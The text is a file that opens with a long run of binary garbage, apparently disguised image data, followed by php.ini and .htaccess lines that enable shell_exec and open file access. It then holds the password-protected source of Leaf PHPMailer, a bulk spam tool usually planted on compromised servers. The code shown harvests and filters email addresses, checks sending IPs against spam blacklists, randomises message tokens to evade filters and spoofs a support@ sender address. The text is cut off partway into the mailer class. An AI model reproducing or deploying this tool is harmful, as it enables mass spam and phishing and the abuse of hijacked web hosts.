BGcfNtL O!TEfVC׃$Y_[vZm':`yq/#y.xfvlpxnidqyFӫ:{~Uh"dzA@$ph{1'762:Yfsޡۤ#u?5rs$AbDfDVe@Mi7:]˺'c]6ZG J+ԽcJLTP $bȵo- kg/M\w2{uwɻ)u9?$kX㧸ϢϷTv	
M$.[\!e9+ԫ;G33,/d*])GV8[52φY	}cōXnuD"u
'A[=#]An=&-ڸ#T;~w^s
\\[&goz$yrwslntqpdaK'jEt*S4VC*,ΠD`Sofvlpxnidqymy	];ߡ?ԟ\.)Tmî	ja@/b8ZPʞɏ~WJfvlpxnidqy9uE2fvlpxnidqy}
uنn)	dz6aD,}m|etۗ9k[
-
tp)g){j=E`:A-1X@EgfGo#̙q"탯N
0|ּv@_jTy}GLGP10i-2\!m FpLXg|&ٿ B G_=w$RKĜfOBfZr5m g&r]/~YJq?	MxwNҬاٲ6C'?ut֡5s7]an~\-`3xrl!!cUEIHYܝ\c+*fqߢ h[I5p@crh+̌g^R,QODݙ~xcW
,tapJ̠JK]& 'FY yrwslntqpdlvR}KP*m䎙ErP i+%Xﯺw63[Q[1gWy{NUZovKP;Xoʛ;6vNfUѿ`@zj#[MAk'l/cDnyrwslntqpd2nN7lfw);tHnf*"#kA"Ɯچڼdj))9裛P&"$,9|7|AN&	~cOH-5=w
58^
p;u~*ÜVd9_Y5ﭱ81bqfMFݳAĆ8ܵHyrwslntqpd)8wg-# 2L5lmKSĿABi'7IúȟL4+./Ky&=\*rXKYGzɢ8JE䠻a:*Y]t9^BS75.qMj³tԐQ~f,h]*0SjsHQa޵=xbrd'i:cj0RЗه{5=J	51=ޛ=6{jy
fvlpxnidqy͑v?wyrwslntqpd/T^@-,P,MZOJ+~[/w;sw-xK8x\a˘G	xSyV%ŘtH
WW[p|qGga͐Tcj&*=r~ yK$N@X燿gݺsߔb"\H=q4A&t`S_{e}I1cfvlpxnidqy.A7O7sXe;AaeMfvlpxnidqy6D;poP^"mߕ
ZXv]p䤇Eqv#C.j&djQ֊.Q[m)󙉤.x:
4iy-C5$ڴfvlpxnidqysQޓFWiM!HBR	N6=p63f_Y|exB!f_L5"Dk]
vU|md#\|ړ#}J0MJ1Os@\F
-*NqXeKڞVY\m&&ξ\c/ߟ-"[D!sr2"VCt6o؝bNe{ao=|u soҝWc+`̳K4u({YZ%tJ3Ty
Ʌ3}C[j2ToN,&sF	fvlpxnidqy
e11w*Mx'GoJBM+BlήD\n|h#ڎnvكgVZ
rE6l6H\
fvlpxnidqyMe[R='`ueQpq&x]8	|`fzdMv"zmJ^.7n{El'b&S⧥*@6Ϭ;OM;s/ON+C= [﹃t7akJFUM@R=fvlpxnidqy
?=唃_;E$2S*syrwslntqpd˜aH+y+ܰ#Y"gyCEl"Z[l:ujrZ(ziqf7jftEd,+!:jw'ހ9VS!9Newdfvlpxnidqy	':ȕ:ݻ8Gjgpj+/UT0N2wfvlpxnidqy/?pWTsy_G8EAssΕ1`
iɼz#(Nc37CtzkϢ|Mͳt#*WT1}]N;'Tr3ȻNjId|@k:;޵v#4kQGujߝAҍM=tk$_S1SC)
U,,J-%;	wO_CqU:fvlpxnidqy}4Vu
'{H3:iuhOE	ʗ,hBvæޤ"iFIu'G-~ǨOz1H~e=|6g&;;w?Naf|XL_w4,myrwslntqpd#_jޓY'
o5r7Gܕ'[FuYhc/Sg.Jҥ[Ny
#svW6oɫBN#@}r /OMz]Pd|pjc)\e?43/lE_vB8jc#2{P_3 +5פ4ܟRMj)}m4Zkyrwslntqpd:@ue''~yrwslntqpdz?"nְkM`]уFx6[i3`uKK?U}LՖHK+qgNa/wah)8]ϟǋbCmփMrл4K yrwslntqpdb䷐#n;`ؼS.+.pD]M nKΆpzfCafsaS =H} " 7J"&
ufvlpxnidqyrRW/DѼdƷbk+
yrwslntqpdߓq߬_47گS_{\Ms./p\904qW+-}jNͨ.a/|5v5EDҕ
 qkfvlpxnidqyKX	(PmA3=S;μ
-c7Y蒧Dř$i.wT?mx.$?!^0	l`ngiڕ9qVyjKu3J
aPj7(
7-qvE΋'8[fvlpxnidqyc1o+ߡ$e)T4
{k~A!k;As*D3/^HhZaQǾw1[P'fvlpxnidqy7wouKK?tFx/6f-t|ْ}a]kO)c+lXv
tؓbe\Pvtnv,ųӰ:`,/mYJI;Z6?K%
m&־ OS9;'-P
o%gMݦnUjZ3#;1e cz-5=fvlpxnidqy	.؄t*Z#y	;XZj%0}/95#)m'U8v~GyjȰp*qfvlpxnidqyisɊaF?;:.rHϭվs5ԇjY(`fvlpxnidqy$(%.@mfZW}YA
%^aww#p6oČ7[p,2ad\:,n

kDmI*k~qhib=T3^0:XU#@M|1d3Mnu@WV旅+;??
䞚=z6#]Lp܊Q@,+wv󑼙PdKWhuRNM/)Dsd,ږ O6yrwslntqpdn]|gX/QgΦ
dzY
`!	
d(}W:۩K
igH̙r#{)+CyiTXj^)[8As]FuࢲuH}Dq,^)GkЇZ}	ʘJ+,l]3 mfvlpxnidqy	xKbfC32;(SqǇ)6=kr;ГAeDBIdo#`gg7	,F%dvAʲTS=NY4?#u,: /M;9сc~wZ4Ig%=fvlpxnidqyι-}I75_PbC"MLK8;XK8m䳬fvlpxnidqyRH@,yrwslntqpdu,GPA/|c9펅=_qg&#XǲzÒW=xukzݡnJE\}!l̷H'(g,5ψ/s؁y(!WE*=nփW̔Foe].[1vYY95	+C:«I"vS`ٜ~f0Df~{	L^=zyRVwQP}|sy
Po^7Xg{~P𝪜ߋu\׉ŪC"=zH{ر{{f٦ƭEp˜ V{	ީ[Flpg!"+	;Ayrwslntqpd~2l!1nاm:8L&69̉8ԕNpߙ9k:%1eJo$6zd%@Duߖ9ZkH%v翔t7+
P2MaNU*s~5mܯ7ܖjR[a/Mo_XHk0IꟂwU
^j9̯+:_oz`椐I_N|Se}٪Ð
g܋T*^QU,*J4©!HyC|ۤvɕ;3gܿ6Xfvlpxnidqyy %3G^]Ofvlpxnidqy:)H,Zfvlpxnidqyv9x]h\yrwslntqpdjyrwslntqpd,Aû,7bf;x65nМ#U6@wGɄ%ƽX9gx6Z˦N0s}RtKyRA҂&I *,?P)$,bԠQֆs(Y`?sGqѸ]ԏ2TW?|\ߩdt4ȥ{	q([0~NzPn$'
O;I&ySop8sl;!_7hH{3_o*@L`MGc2)Qد8
jw6{B;J?b*3[wvbzrD*QݝF]rL
aՓD	#4RıNTIO2!.W'u1p,p7x.8Λ!e6sA\DdlcrGFv$w6VPnV$q573ei5sI}dm^n/93խyk{xCR.Îx,0.-|ү[K*Z3ibɭ-PcjLrP8젆&`ν60gPKKffvlpxnidqy:N~'CCWjJ]])-eYo9vkkUN;]h~CO؈е@yL:|fvlpxnidqyIfvlpxnidqyiI[;kz	^~Xק]$p=22ne-\kV
P,J
-{9WO+s)UX3p{-VWY\8)n KE=6l|h&"syNalOtUݧF׌"";.%k.Pu9cb^S׹ocj 3/#qպc:97Zx5g"8m33?8Oѩ l&E))'O"#'mzgoy4Mx''3aN*4P_.3MI~.iufvlpxnidqyB[`z YN ָ@͙9S!j65=YGu5W̗D(EeGt~KFsC&dRʙZCcR!aߎI.gMN#`yrwslntqpdvgwkKEepM}Vh=톝w2^SdU
otdQ'_bƃʄٲ\AXi:X3|yrwslntqpdJչFEg2; AԮ*L?/^vՒ5ǗXJ3"u@%-~"?ނo@}If2.̻9Vz*Ҥ-!6ȫg_8G5:oP^Nœ./U"
?V)WP	Rrh7yrwslntqpdddNf1c:A?-9nΏEfbj}M$ģBHMGj{oK-f.घޔz5Wfvlpxnidqy]oR]oVSBMs{uhQnYŤ9}i|

QrD%9X\Ĩ:.4[Vܮ]yyGwyrwslntqpdof2p,rXB^$b|FVX8D5.0ɰ,CJ3t0i^a}am"h:~&V#ƗgZ[j u?rn'K.!
AGyW@$/+p"_\^(gp[І*ȁO.b/kOp?̬a:ᄶ6)k
|
_6vZZpw?o'!X9sP]l @uajsSR0
ih Y1ZEOL3W.EVXfvlpxnidqyְA⺌Ett$~t1.馓B]̚:{XЁ|U0\ԽvKm8}jxn#
[t8ڎz3Nutbç|rb_Y[}Fbщs)NGXŨM5G.S`}7`}A3=WVL]2mpQ]uڑxӜyrwslntqpd=
H 	s_{a*&s?\$ƟN@mm3롴}D" 9))fvlpxnidqyyrwslntqpd3nJ͜4Zh՝[Xt0JfvlpxnidqyoBKt̺7nلM=ҵ`	ήCdfpR=yrR7q?^lL$f^+TF1q*f[D]8}[縃t* WYKJqfvlpxnidqyqAwOȳ&Qhlmh׍	5$Kނ
$~f-O,L="Y)\f
׮aѐao-Ey&^ݝo/$mak|`LӭW9v@.%WGZv`j\쌥as{Հouil1{9c3ԅ{P[.qCꨠ^;2r#)D,[jBfΤe.kcBCKC/Ğxx5jwc}N/*@N'[2l9-(ն2K\MGG!*g@[w::g39٤Jýn#mz OۍMo+ļ('ӵa
rJ"ݥ'CBM;wY!x;n靳 ZLؖ:KBcTyrwslntqpdwNdk
ѫ
K`9P~ZBEybSdq fcr OY$ˆ#bfjڛċ).Nkμ/Sg̐5Kgh.T=zH~
[KWvYq\,s
5S1POHپ/.uȁ	
yrwslntqpdDFB99h_d{!Z]r.We;"xܾgFUACipm%uyrwslntqpd#냇qv;w=&y9`HET+=ϩEU&JFsàp0zVG-G9K+ߝ
1BpGOe)ڼMpkyrwslntqpd:	ojyrwslntqpdyrwslntqpd|!m^sWf{P9[vR!	hn#߸s#󈙫uqq ~V[:nNr~Zp񋀟9oVm$S԰57PFXN4rنsrKĢg̭'S~g(ؙOa⛈*2g+/j7Q/.". \Ob7sMB]2^i!wɭɡ-AOl}DN/Pތ7xop+ڈX\LhtfvlpxnidqyyvX|Nq}=3f3` ÆٓVJNH#c˛yQڜSӖ9Iium88fvlpxnidqyB\ͬO:oyrwslntqpdpl
zrCU~%jyrwslntqpdx#=P*1}BsSaf\ .ёls?J1
)eyrwslntqpdE~X}#b3TL'C'fo=ǵl#n1DTfvlpxnidqy F
՚[&AUm9ByrwslntqpdY8I}1 =~\k74gJ$!7{44\[~v]Y]*O-yJyrwslntqpdrhc*vwlbs&}W6ynjtX{UI ^k-GWLyrwslntqpdh.PV2nIfvlpxnidqyrT}2Kt| b{^1Eo\e:=rW;Thz/w땍+%fvlpxnidqyeWǵݮ)f_p=P1~s}vue|^re޽X*;yrwslntqpdjuÃؼ%dkDq~N=sTOv3wU_1}޸UTB}4Z]3fz3"yrwslntqpdeewo$IASs~ǩ.ɢ$b2h~.fKZ4\kUKhIxHД:__\ȟZ '3S]œMFvajY}r#5g@~8yK[`ι7N7Os'e]\2f "Ud] };^8Q%)
Pj3:v|Cу
87pkٌ~i[_vޒ\mzsSWf&3+a&UY$ٯg$ܿ7ALZq)9Ojy87X){yb٥_coꓳRߛGxx:QwτDXݳKXdT0-=c럙#AO)=nyK:/R&C}fAWG5{8{-Cu/"FA
,uW
mlEPm{o6*Z_?t#6[I;p6:0;]@95x25XLBkJ{
boxGCV[qyu.v4sL+Pu3wyrwslntqpdyrwslntqpd
r_HE&[;mxnkZ2[m_kee|nٽ8f߭g%n)h~ɨ;^bVe!tvggX*6TFEp	O馢V,yyrwslntqpd%'%!
C;\ZG?KAyrwslntqpdHӘhi65A_˖C8y1ܵNbMH]3:yfHyrwslntqpdL?R}w۝h惍!ܚ"
FMs
uf՝ՊnfvlpxnidqyPh
Zv?5e(9lXo%w4疱ڋyRcdwr?$$P'o)8ɋMRagwlDPsh
b챏Zﲠ\)	^Zq:&nh7[1Ba0ȼT$-|0=Mxȭ~`"%]Iwc*xeZp@##s]LDVd2l~}%o3hF{	U!#XoP[|KH
,bϦ*T ߰HyrwslntqpdWW?iwE.s.W%QKY,z6* nЪ~bx
twfvlpxnidqy|ҁǭvpc?mfu%Nug֛Ǭx2=X{K]3үB˳Wԃ1G6HʇY!IZ* 
~?;쯒3ql3)JzݳV'.=/wiKW9ڎP0/xk_7lhM{BtpED[DL&c\.PSㆫ8Yv Imf+xjdm.s,~D$Hԑyrwslntqpd4= 'h.{-IR@bxة= ?ga6̒[AH;e15OՇthw"!ikîo#SD#iMQ)Aw|5$	ulY;o'-sR^eACo+3zxiL26ltuFl~HQw1& 6̐p@bH],lᢶ+0_JqB
ڼ:X¤fvlpxnidqy-N|o{KBUQ.xX%Yj1`tM^gkxk0-3~g4sIhyrwslntqpda:!ngw9xR np:0bZEnh)DK,ߜߎ@V xKN*WBL	D+lԽz=ͳBj+tEGPu/	Nd9`+|l[ݔnѥAwZU[J'ݛ\	_`WL	Q֒/5xSʭ:*Cz3}'启*K%).0όsG.	t2]n6\({(O+	(:ҺtQs+Z`}JU໩:rcxPc؞;lR餑yrwslntqpdK1rrHar҂k{j30nSEGĬ׮ }T/`p&vttYrN,kUfw3Ϊ6jIΐ늲wλFGs.KzB=ӫЀq?Z^b?639+Ӎ׳X	.7k`x܋|jQ|~Fhg:xLoRL2C{fnM=,7~45g?7U`
~Zco oZu5pÝQf&;{"`%u?n,:Ǐ݁N:k e$v_g;	|Ayrwslntqpd6.wւ
׆eC
53j`
F{k7Ea揔:/uNfs6TB_ht/f?чIMƽnb왙yrwslntqpd:ECLԽA}j\?l_t3۪!'wE=rAhGG/YOp͝tFNwBk1ꩡyrwslntqpdb--`BD6`ZIL~j{4)'zuw	R3jhri#k؈ŦW̞7sC	Ņ+^$#'AY	q#:oȏ.e륔#Ýfz2#yrwslntqpd
1-s	j0^ܳ\Z=j$PˎPc
ÁČ~YČb^h60s/Oc@P}ŵHYF`Ufvlpxnidqyū3VHGZRyrwslntqpd@~O(Li-)Yycٺ+hlX5n^no5hƔ;Wݾذ@.-~m"DmԂ5piɧnw'i9/R+ɉ1r?oA~YVzj|6x7w?n}jgxZj-]	bq_rڠfç7kQ19	) {͢M`4,}.Sh(:4TAM ?@o
8yrwslntqpdNTp	yrwslntqpd᱁˟|2Pһ6%[;8	/0jmK!fTewQabyrwslntqpd~UM_}z9VZIfXh`j'p~1WM-̟ܾYԜ;4 an	
n=yW38CXMa22g5=QAjzrKŁ.;9CK2@MP~k3ppVμ$wPӾDl|=KoxMi]]ٚ}gl}TTyf9\ܬzY~:P꓆q
NNuAA/ّZ!g]!j5(3߯|醍A	wwDj46pߔmgӏmXM%FlrgbݰS!r+ûh{a?Eh ^ޔ]Ax먻1Og5vC^Gw6e/=
 v	h7cxgfz&XЖfvlpxnidqyFt)JLrúK_Ю}pQ
2S-䈄I[Ff~RH
gf3&ϵ BM_5;Y2ْ˔OP9w^v	TXd.ݥ=$ƻy!e1θyfEV-U+yrwslntqpd'YxU7w{ǐfvlpxnidqyT~z=ҕWWf!;+R(ӰI7YZ5565pKD[pzr1洈iJО/i|rؼ3~ًΏeʄ7A;^3hn?md^Yieqf7sM"\CˬDw4=MX~pz cJ9E̱t?Wɭ*;+$&2444yZ;]
އX''8&#ہk2v;N~Qmta#lYq_hkf`@6*oX,Z&q!C=pljS@
VxGWn]Jv7q1DjWH媗4z['lfvlpxnidqy`Zd	j3l4^^GЍw񃚞i}kl=^I+X|pWT;#e72~$4 }C]r\aZd5=
UG|{UOlIZo2N)8XX0%)[g1f;p!L҆U7.{݋	|TR#8I=Ĕn)uSQvRyrwslntqpdqל;&qUfVË 'w3EMDEiyrwslntqpd4)Ni3^I'4ќ9GErO
'qq%*R"9M$P	8hKBjW!A9QZIQX^ͭΓsA ^IW}]͏z;3}H~hA|6C+tJbUԽAoO=L_XQ\	leN?CIByrwslntqpd00@x' ]TĠ6yK+00wR-*a'fvlpxnidqyrrKſ/,vk-x|U
:uG2mNXZo.fvlpxnidqyQn#/rhC2nMzzK-,z'T8yrwslntqpd%.r]d:
%?,m'~4y
YqMUjT]Q]1{5òܵ/%bSQבʡC4$iB+iksfvlpxnidqy/\5[PXŤ90\1cWP](),5Vsn௠-4NGo}Z2)?!	Z|ǩyF1ׂ%kkpӀ_fvlpxnidqy׋PcmM_^\#}Ñ.cas{դAnv;HW3:C!Kz\׆3o+û,)fWMRyrwslntqpdk

CM(E=r+ןBIq WoNonz1+[Qm5ZJEr3g~֬o-Srfx3{s2ts!wU7KQW97|sGz.WG!;`&-5(5Ӈ[RZM_7!Vg3ւ~=ovl%{쫁Df^	"gL#y]kmpOmmVb1fCf**c
޻U`='{Zse#jB=J+'sIK`?;[\tƺ@C^yrwslntqpdrS'yrwslntqpd9A94|Zo8p`'2Ԃ(/"]CgY=(MF̂,`YR.fvlpxnidqyx-:b eMFP}.HܑKwv"	q*1Zx~4tO:.bKynIodSO S-b.qG\4{yrwslntqpd'hehu%\aL7^i7c{f+[ʙk_BUVr/[*wvژMP[5+਻¼sț&j790O;pZ7/]au.NpfvlpxnidqyGey8mcYP{1e_e4O()	xn.t֜cxϘ)A-!xM4?W%b"Laoя-K^fN_tڜrh?
Df3IAO#?;](WB6ν9pgfvlpxnidqym$TZ/FXm	Rt(mm?T=5O9U$fvlpxnidqy)IEߩ]H
V̕{C\g=^W&rBԃR*z̢nܮ,Frf hG2-E ^XYNJw"ұj3%bv=߲HfvlpxnidqyAz Gf;ZvE&5rtHsvhp$TQ
~]-0?񞎰.6Ġ,P!TԺ(oyrwslntqpdEm`۹noQ+ؔY$b350s.qٝ{bDw3/ӵi!~]W:G9DJ\k6hiv8C	vat^GNfﶝfvlpxnidqy9ApǚdʶO?,yrwslntqpdKE#ԭ9'wuȂN#Ɠ.]heM,wP*̩%G_t
3LuԲ4\Nk3`RvGAfZJWfvlpxnidqyQSlrn
xʆ;[TK0Y'34rg*-
ّZVi3Ica_8fKUdߟtnB9]~
yyrwslntqpdyrwslntqpdE'xfvlpxnidqy{fvlpxnidqyq
uGT
a1OMؘ9T/LYd9Q
`-VV=84^Nfvlpxnidqy';!ֽ&
afnm-b'ێCIr9*jPve⣪ssҀP];D1Ufvlpxnidqy43u8256K6~vt
|P6&_B=A-m,YjbFՎPt#.RyrwslntqpdT,"4t%S//B2yrwslntqpd~E%i*F-ܮ{bIagUfvlpxnidqyvus6xצ,SաSn΍sl5o[\,FӿQ~ABթ!pQrjqxoWe|ۉ0=:9b Wy5
KyrwslntqpdUVi,SpQMx\s,LgXUw{/n5'gўN$)=YfډSPmrs'y'53YPb/zՃ?pmyrwslntqpdqfvlpxnidqy4FaGwNE? z4T!G:_9$yrwslntqpdg 'KʹѣܯۇK~O*OKnНm( c7g8X\vsyLK!g*' }oN#3ת@C.A3nDî kƢy)zdRL`	.񺌙C݃[#o`}S"khy"#}pw)%72]=eP)ewsؗ"ZyrwslntqpdeOfNdjis*Efvlpxnidqy3	[pmB6_i{է"r_4[uʡ53wY^,;Gj{mj,̅8PvGɭWTCmbmZfvlpxnidqyUf-J^DN9HwV'Z'o}Ǣ=1}mfvlpxnidqy~@	
TႠ
%hCJo_guɣVlDI:4'v=4YB-ZWE6ʷ`z~u
x8mIgim3gdG9j`	pڭ,;b3P\Oqpc^@ /ĎQ5lq%]oG`i䗍HDnp#l?I޸?;$sJ$Go[60$t|_p.P{3H@|'DǦwpYokFyrwslntqpd;owfvlpxnidqygIh@?u)Iɯ3Է{ALc95Ԥ~R3/17c^A$#,If}f!-]m7Jevm$46'N
#
[!me5wb7
8#y&| y;X.Z;:j*S7XvʚGn[[uO	4ϰڭ:?(j;3
F¿?Y@^@\پ8o'
bn׷z#3tXXZ/e=+2AwAtI6_!~R[@R; 6k}
l*IJEP7|VN/MObsNSv7.歍(ex7(NE#Z&غ()4ZYZ"fvlpxnidqy$'u~ee{].֙}vfvlpxnidqyOÆW扌^AByrwslntqpdkЛ$)p*:~1};w௣9q߽iM$_j4`^3/Qz\̒"Jԥjk
3H޶0uxg֨B.jTQ4i:n?f]plh/t4K
R ì||r|l8VPCBlx\݆ŊIF/,`j	94`jy@_'w%;vT*ƛń8#

*E8C]HJHns"ujW;xȐKb9Mk)Ѝ\01[	y.B'
xyq:D}ra	XOtcn"	zweNfvlpxnidqyi~h9c]U$E@
e}8^+{.eّ	,τDp24ՠ!t|O63fvlpxnidqy$ՃZOfvlpxnidqy겻F	h﷕nQq,tZ)xu*x|%rY|HߩP!mfE@M_7;/Rf|T ^CjGF$a1ݿosKl$y꾈q߄P_ ȕRiLxdޗh!
vϝyPiWgL\wuF/-]fEArtˉeyrwslntqpdV +rml	M8wdc޵rx	ƔB]Vnrml]12z23ݮ'$1R$Psx'g&/v	mҕ^5Su8GfvlpxnidqyĴۈ{i,8D_EH-"U_Ƶx2dipdđ#yrwslntqpdV'&Jf8;)p)WfSYü^r' oev%WH{e?eKHyrwslntqpd9#UJ;
Mpg5kZoƇ!fvlpxnidqy~X"LnJ`?WR7[%GV+x
8r-zfaw.'A"뢫{3U2͊}Բ=by;{EF!weC
Ayrwslntqpdن{YS
JA
oTjJJD܈QW"tN~UУ{}vQRz`mu
53;JX?L!1
r5	Ao8N=U8:4JX9LOVɂ|U1eYV]&㍝qB]ZNL/V֎j"O1*s{SyJ7AĕA20;ӝ*q)Ὠx1h@i|slaIK2ZHg0cK%@yrwslntqpdu=ҕuMT8]
{cˁcb(h&Ưjf޲~:lV➙N'y6a\e^X/0!3G7SyrwslntqpdR|aV8
}&yrwslntqpdHjS?3w%կX@UĦS1  ;
ِsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "6uEABQKDdFR";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
